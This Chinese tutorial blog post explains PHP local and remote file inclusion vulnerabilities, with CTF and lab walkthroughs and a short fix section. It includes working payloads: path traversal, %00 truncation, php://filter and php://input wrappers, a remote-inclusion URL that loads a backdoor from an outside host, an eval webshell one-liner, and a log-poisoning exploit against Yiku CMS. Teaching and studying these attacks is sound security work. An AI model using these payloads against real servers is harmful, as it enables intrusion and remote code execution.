文件操作之文件包含漏洞

article/2025/8/5 13:48:38

目录

本文仅供参考、交流、学习,如有违法行为后果自负

文件包含类型

原理方面

文件包含漏洞原理案例:

必要条件

那么如何去检测漏洞是否存在该漏洞?

白盒

黑盒

类型

本地文件包含

无限制

 有限制

远程文件包含

无限制

有限制 

利用

协议/版本/条件、用法 

file协议(需要完整路径)

http://协议 

php://filter读取源文件

php://input执行php代码

​编辑php://input通过打开shell写入后门代码

实例案例

CTF-南邮大-白盒访问地址: asdf (chinalover.sinaapp.com)

春秋百度杯真题-白盒

易库cms渗透 公开漏洞

补充说明

为什么能够知道该cms有文件包含漏洞

为什么这样写后门到日志文件内可以执行?

webshell无法写入目录

修复方案


文件包含类型

<!--#include file=文件名.asp -->#asp包含本地文件
<!--#include file=文件名.aspx --># aspx包含本地文件
<jsp:include page="文件名.jsp"/> # jsp包含本地文件
<c:import url="http://ip/文件名.jsp"> #jsp包含远程文件
<%@ include file="1.jsp"%> # jsp包含本地文件
<?php Include('1.php')?> # php包含本地文件

原理方面

将文件进行包含,包含之后的文件会进行调用指定的代码

简要来说:将文件包含的内容,以脚本格式进行解析调用

比如要进行文件的连接,数据库的查询,可以先包含一个数据库的配置文件,然后直接进行连接

也可以将一些功能性的代码写到文件内,然后用另一个文件包含这个文件,就不再重复书写代码

文件包含漏洞原理案例:

首先准备一个包含文件放置在服务器

<?php
$filename=$_GET['filename'];
include($filename);
?>

然后在同个目录下存在1.txt文件

 可以看见将1.txt文件进行传参到include是可以将txt文件解析为php脚本进行调用的

如果是直接访问1.txt是不会被进行解析 ,也不存在解析漏洞

 故,在以下传参的地址下,通过include函数的包含的情况下

http://192.168.248.129:801/include.php?filename=1.txt

相当于以php格式执行了1.txt文件

$filename=1.txt

必要条件

和命令执行其他漏洞的成因一样,需要存在可控变量,还有包含函数

那么如何去检测漏洞是否存在该漏洞?

检测方式也和其他漏洞大致一样,同样是存在于黑盒白盒俩个方面

白盒

代码审计

黑盒

漏洞扫描工具:

公开漏洞:

手工看参数及功能点:

参数值:可以查看网站后面的参数值是文件还是类似文件名的地址进行判断是不是给的是一个文件

功能点:功能需要实现的时候需要什么函数

类型

本地文件包含

需要先明确的是进行本地包含目录是需要该服务器下存在的文件

黑盒情况下也不知道文件含有什么内容,需要自己进行上传文件

所以
本地文件包含,首先判断能不能上传自己的文件让其包含自己的文件

如若不能如何让对方网站获取到我们自己需要的代码,原始文件的操作文件如访问日志

本地包含不能同远程包含进行指向文件

无限制

上方原理案例演示的包含的是同目录下的文件,那么如果想包含其他目录下的文件需要特殊手段

通过../进行包含上级目录,如下:www目录下存在包含文件,而我想调用c目录下的

 此时的包含include.php文件代码如下

<?php
$filename=$_GET['filename'];
include($filename);
?>

则是使用../进行访问上级目录(这里返回上级两层则是两次../)

http://192.168.248.129:801/include.php?filename=../../c.txt

 有限制

有限制的包含文件和上方无限制的略微不同,在代码上进行了限制只能html后缀文件

<?php
$filename=$_GET['filename'];
include($filename.".html");#强行指定包含文件后缀为html格式
?>

 由于实战中是黑盒进行测试,所以也无法知道具体哪一种格式,不建议尝试

所以这种情况下哪怕存在文件也无法进行包含,会提示该文件无法打开,不存在文件

 当然遇到这种情况就没办法了么,我们还可以尝试%00截断长度截断

首先如果是使用%00截断,

需要该服务器的php版本是小于5.3.4才可以,并且关闭魔术引号,gpc

%00截断条件:magic_quotes_gpc=off php版本<5.3.4

 相对于后面限制条件给进行截断了

如果不满足条件就只能尝试使用长度截断

长度截断条件:Windows点号长度长于256,Linux点号长于4096

通过目标系统设置长度,超出最大接受长度之后限制的命令加不上去达到绕过

由于是Windows系统,以/符号开始,加到256个后正常执行

以.符号开始

 或者是. 

再如“

远程文件包含

只要远程地址存在该文件

远程包含危害相比较大,通过创建一个可以访问到的网站地址来让漏洞去包含目标文件

远程包含基本上在任何脚本都有一个设置来确定这个会不会成为一个漏洞包含

例如php就需要这里打开才可以请求远程文件请求

 此处打开,其他版本可进行百度查找

无限制

如果在代码上没有限制,并且开发平台上也没有关闭设置包含远程文件就会造成远程包含文件漏洞

<?php
$filename=$_GET['filename'];#与上无异
include($filename);
?>

 这里只是简单的phpinfo(),但如果当请求的是一个后门文件的危害就不一样了

并且该位置可以直接使用菜刀进行连接

http://192.168.248.129:801/include.php?filename=http://www.xiaodi8.com/readme.txt

这是因为服务器会对远程地址进行请求,然后执行后门文件 ,如果没写也就执行不上

有限制 

代码存在限制有两种情况

一种是只能包含本地文件,包含本地文件往上看

另一种是代码上进行过滤

<?php
$filename=$_GET['filename'];
include($filename.".html");#同样限制html
?>

在远程文件链接最尾处上增加?、%23、%20

 远程地址的进行长度绕过是不可行的

利用

如果想利用该漏洞实现功能可以尝试使用伪协议实现绕过限制和waf

但前提需要先知每种脚本对应协议是否支持

协议/版本/条件、用法 

可以看看其他的一个伪协议用法

php伪协议 - 看不尽的尘埃 - 博客园 (cnblogs.com)

file协议(需要完整路径)

http://192.168.248.129:801/include.php?filename=file://对方服务器绝对路径/文件名

http://协议 

http://192.168.248.129:801/include.php?filename=http://远程地址/文件名

php://filter读取源文件

http://192.168.248.129:801/include.php?filename=php://filter/read=convert.base64-encode/resource=绝对路径地址/文件名

 

php://input执行php代码

php://input + [POST方式提交]

php://input通过打开shell写入后门代码

php://input + [POST方式进行提交]

zip:\\读取压缩文件

http://192.168.248.129:801/include.php?filename=zip://绝对路径\压缩包名称%23文件名

示例:压缩包与文件需要使用%23分隔

http://192.168.248.129:801/include.php?filename=zip://C:\phpStudy\WWW\2.zip%232.txt

可见服务器存在压缩文件2.zip中存在2.txt

 进行读取压缩包文件执行php代码

 data://数据流封装代码

http://192.168.248.129:801/include.php?filename=data://text/plain,代码

实例案例

CTF-南邮大-白盒
访问地址: asdf (chinalover.sinaapp.com)

第一步:我们打开进行观察网页

如果是真实网站我们可以通过漏洞扫描工具,公开漏洞

这里由于是CTF只能通过手工看参数值、功能点进行判断

所以我们寻找带有文件名或者文件链接的地址功能点位置

发现这里带有文件名,在文件名这里还存在一个参数值

而对于参数名是有讲究的,name传递名字,uid传递数字,file传递文件


在进行访问show.php是test123,直接访问该文件地址也是test123,并没有在上面写上php代码

就是因为该文件被另一个文件进行了包含,所以show.php不用再重复书写php代码

此时我们对其进行信息收集进行判断系统,众所周知Linux系统严格区分大小写

而这里将链接改为了大写就找不到文件,故是Linux系统

 然后对其文件使用php://input协议进行利用执行代码

 此时发现行不通,有可能是php:input的设置要求不满足,也有可能是被进行了过滤

 所以我们再试试其他的协议,获取这个文件,看看是进行过滤还是没开设置

 我们将读取到的进行解密,发现无可用信息 

 我们再对其他文件进行读取,获取到一些信息,粘贴到文本上便于查看是否有利用使用信息

 打开之后会发现,代码对提交的数据进行了查找过滤 

但再往下看,底下已经存在CTF的一个答案,至此拿到flag

 

 春秋百度杯真题-白盒

访问地址:选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋 (ichunqiu.com)

 在web题目中找到带有include的这一关

该网站需要认证所以没练习

易库cms渗透 公开漏洞

 易酷影视靶场源码链接(该地址内有安装文档):

链接:https://pan.baidu.com/s/1u20hwEOviNoJZk2zJiw2Ow 
提取码:ZRIP 

安装完成之后进行首页 

 对于市面上能够拿到源码的这类开源cms

我们还是老样子直接进行百度查找是否存在漏洞、没有情况下再对其源码进行分析

此时便发现到了是有公开的一个漏洞,然后我们参考别人文档进行漏洞复现

 漏洞文档:

 易酷 cms2.5 本地文件包含漏洞 getshell - Oran9e - 博客园 (cnblogs.com)

首先我们在进行访问的时候在尾部加上后门

 可见后门被写入到了日志文件 

 再让文件进行包含

补充说明

为什么能够知道该cms有文件包含漏洞

这里可能有疑问,为什么知道他有文件包含漏洞,我们能拿到源码

自然是可以对源码进行分析,比如这里存在一个require()函数

可参考文档:易酷CMS文件包含 · 大专栏 (dazhuanlan.com)

当我们知道是存在文件包含漏洞的情况下,就可以进行尝试漏洞

然后通过观察,用户是没有发现到远程文件链接或存在上传文件点

那么只能进行本地包含文件,而很多情况下我们根本不知道对方存在哪些文件

那么我们所需要做的就是让这个服务器存在一个我们需要的文件

此时,我们可以尝试一个功能,访问日志,该网站存在一个恶意日志的访问记录

这个是别人经过代码分析得出

具体该漏洞就是如其他大佬研究的了

为什么这样写后门到日志文件内可以执行?

/?s=my/show/id/{~eval($_POST[orange])}

正常写后门都是

<?php @eval($_POST['shell']);?>

而这次写的是

{~eval($_POST[orange])}

这是因为这里是存在文件包含漏洞的,写上<?php?>和不写无差别,写上只是一个声明

但是这里已经进行了文件包含,所以不用重复编写

webshell无法写入目录

正常来说每个目录都是可以的,写不进去的原因,目录权限设置,拦截,代码错误

直接写的时候加上文件名,就会在当前目录创建

修复方案

市面上的WAF防护产品

固定后缀(防止部分攻击)

<?php
$filename=$_GET['filename'];
include($filename.".html");#强行指定包含文件后缀为html格式
?>

固定文件(不需要传参的情况下)

<?php
$filename=$_GET['filename'];
include('1.txt');#固定文件
?>


http://chatgpt.dhexx.cn/article/B2tgQf7o.shtml

相关文章

文件包含漏洞(完整版)

*本文作者&#xff1a;山东安云&#xff0c;转载来自FreeBuf.COM 001 文件包含简介 服务器执行PHP文件时&#xff0c;可以通过文件包含函数加载另一个文件中的PHP代码&#xff0c;并且当PHP来执行&#xff0c;这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的…

【文件包含漏洞】——文件包含漏洞防御

文章目录 一、实验目的&#xff1a;二、实验环境&#xff1a;三、防御说明&#xff1a;四、防御措施&#xff1a;1. 设置白名单&#xff1a;2. 过滤危险字符&#xff1a;3. 设置文件目录(配置php.ini)&#xff1a;4. 关闭危险配置(配置php.ini)&#xff1a; 五、防御总结&a…

文件包含漏洞-日志注入

文件目录 文件包含漏洞文件包含概述文件包含类型 文件包含-日志注入日志注入概述环境准备配置环境模拟网站环境 日志注入流程 文件包含漏洞 文件包含概述 文件包含漏洞是 Web 应用程序中的一种常见漏洞。当应用程序允许用户控制包含在页面上的文件时&#xff0c;攻击者就可以利…

【异常】BOOT-INF/lib/目录下文件被扫出有漏洞,应该怎么修复?

一、背景说明 客户使用的是阿里云的云服务&#xff0c;阿里云上面的渗透测试扫描会定期对运行在上面的云服务进行漏洞检查&#xff0c;因此没有几轮的漏扫是不会放过你了额。 这次收到了如下的内容 ContainerName:commonprovider, ImageName:commonprovider:V0.2.12_Server_…

自动化批量挖漏洞(edu)

自动化批量挖漏洞 原理是将目标资产让爬虫工具爬取&#xff0c;把数据通过burp发送给xray进行漏洞扫描。 本文使用到的工具 Fofa采集工具&#xff0c;文章用edu举例&#xff0c;大家可以根据自己的目标进行选择。Rad&#xff0c;浏览器爬取工具&#xff0c;github地址: http…

文件包含漏洞总结及工具分享

PHP文件包含漏洞检测利用总结及神器字典工具分享 漏洞原理 像PHP、JSP、ASP、.NET等脚本语言&#xff0c;都提供了一种包含文件的功能&#xff0c;通过这种方式可以达到复用代码的目的。如果包含的文件路径可控&#xff0c;那么就可能存在文件包含漏洞&#xff0c;攻击者可通…

漏洞修复-- Linux kernel 资源管理错误漏洞(CVE-2022-32250)

1. 漏洞描述: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.18.1版本及之前版本存在安全漏洞&#xff0c;该漏洞源于net/netfilter/nf_tables_api.c允许本地用户将权限升级为root用户&#xff0c;攻击者利用该漏洞可导致释放后重用。 2. …

【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件&#xff0c;读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数http://localhost/include/include.php?pathC:\windows\system32\drivers\etc…

渗透测试-文件包含漏洞

文件包含漏洞 文章目录 文件包含漏洞前言一、什么是文件包含漏洞二、文件包含漏洞获取shell1.文件包含漏洞的分类2.利用漏洞获取shell 总结 前言 一、什么是文件包含漏洞 服务器通过php的特性&#xff08;函数&#xff09;去包含任意文件时&#xff0c;由于要包含的这个文件来…

Fvuln-自动化web漏洞检测工具

F-vuln介绍: F-vuln&#xff08;全称&#xff1a;Find-Vulnerability&#xff09;是为了自己工作方便专门编写的一款自动化工具&#xff0c;主要适用于日常安全服务、渗透测试人员和RedTeam红队人员&#xff0c;它集合的功能包括&#xff1a;存活IP探测、开放端口探测、web服务…

Log4j2 漏洞检测工具清单

距离Log4j2漏洞公开已经过去一个月了,它所造成的严重影响已经不需要我们重复提及了。随着时间的推移,新的漏洞会不断出现,旧的漏洞会不断消失,而这个Log4j2中的RCE漏洞可能需要好几年的时间才能得到解决。所以,在接下来的一段时间里,这个漏洞依然是我们需要去关注的重点。…

文件包含漏洞——配合日志文件

此实验中用的是phpstudy2018 靶机IP地址&#xff1a;192.168.212.131 一、前提条件 phpstudy中日志功能默认关闭&#xff0c;得手动修改配置文件开启apache日志功能 重启phpstudy&#xff0c;访问日志文件存在 二、文件包含漏洞测试 第一步&#xff1a;输入<?php php…

【文件包含漏洞】

目录 一、前言 二、文件包含漏洞原理 三、利用条件 四、文件包含漏洞利用 实验一&#xff1a;本地包含和远程包含 实验二&#xff1a;利用文件包含漏洞读取Windows系统敏感信息 实验三&#xff1a;本地包含配合文件上传木马图片 实验四&#xff1a;包含apache日志文…

开源组件漏洞检查工具实践分析

文章目录 Murphysec开源组件漏洞检查工具介绍检测原理JetBrains IDE插件MurphySec Code Scan工具使用介绍支持功能插件安装插件配置一键扫描一键修复功能实践测试命令行工具CLI MurphySec功能特性整理MurphySec Code Scan工具集成JenkinsGitLab 代码库检测工具每周报告推送情报…

文件包含漏洞

【文件包含】文件包含漏洞知识总结 一、什么是文件包含漏洞&#xff1f; 1、文件包含概述 和SQL注入等攻击方式一样&#xff0c;文件包含漏洞也是一种“注入型漏洞”&#xff0c;其本质就是输入一段用户能够控制的脚本或者代码&#xff0c;并让服务器端执行。 什么叫包含呢…

Vector关于Apache Log4Shell CVE-2021-45105,CVE-2021-45046,CVE-2021-44228 的安全漏洞配合与修复全面详解

Apache Log4j2 是一个基于 Java 的日志记录开源组件。近日&#xff0c;Log4j2 被爆出现安全漏洞&#xff0c;攻击者可以通过向易受攻击的服务器或应用程序发送操纵请求来利用安全漏洞。Vector 德国PREEvison产品团队已经通过官网和客户管理系统及时通知客户&#xff0c;有关PRE…

Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

摘要&#xff1a;二进制SCA工具要想更好的辅助安全人员实现安全审计、降低漏洞检测的误报率&#xff0c;必须向更细颗粒度的检测维度发展&#xff0c;而不仅仅停留在开源软件的层面&#xff0c;同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战。 本文分享自华为云社区…

kali linux渗透测试之漏洞扫描

主题内容就是进行漏洞扫描 文章目录 前言一、Nikto1.Nikto漏洞扫描介绍2.Nikto使用 二、Nessus1.Nessus介绍2.安装nessus3.nessus的简单使用3.nessus扫描之advanced scan 三、 skipfish扫描工具1.介绍2.skipfish的使用3.批量处理4.使用字典5.命令选项6.打开文件 四、 AWVS漏洞扫…

【CVE-2022-0185】Linux kernel [文件系统挂载API] 堆溢出漏洞分析与利用

0x00.一切开始之前 CVE-2022-0185 是 2022 年初爆出来的一个位于 filesystem context 系统中的 fsconfig 系统调用中的一个堆溢出漏洞&#xff0c;对于有着 CAP_SYS_ADMIN 权限&#xff08;或是开启了 unprivileged namespace&#xff09;的攻击者而言其可以利用该漏洞完成本地…

Spring 新版本修复远程命令执行漏洞(CVE-2022-22965),墨菲安全开源工具可应急排查

漏洞简述 3月31日&#xff0c;spring 官方通报了 Spring 相关框架存在远程代码执行漏洞&#xff0c;并在 5.3.18 和 5.2.20.RELEASE 中修复了该漏洞。 漏洞评级&#xff1a;严重 影响组件&#xff1a;org.springframework:spring-beans 影响版本&#xff1a;< 5.3.18 和…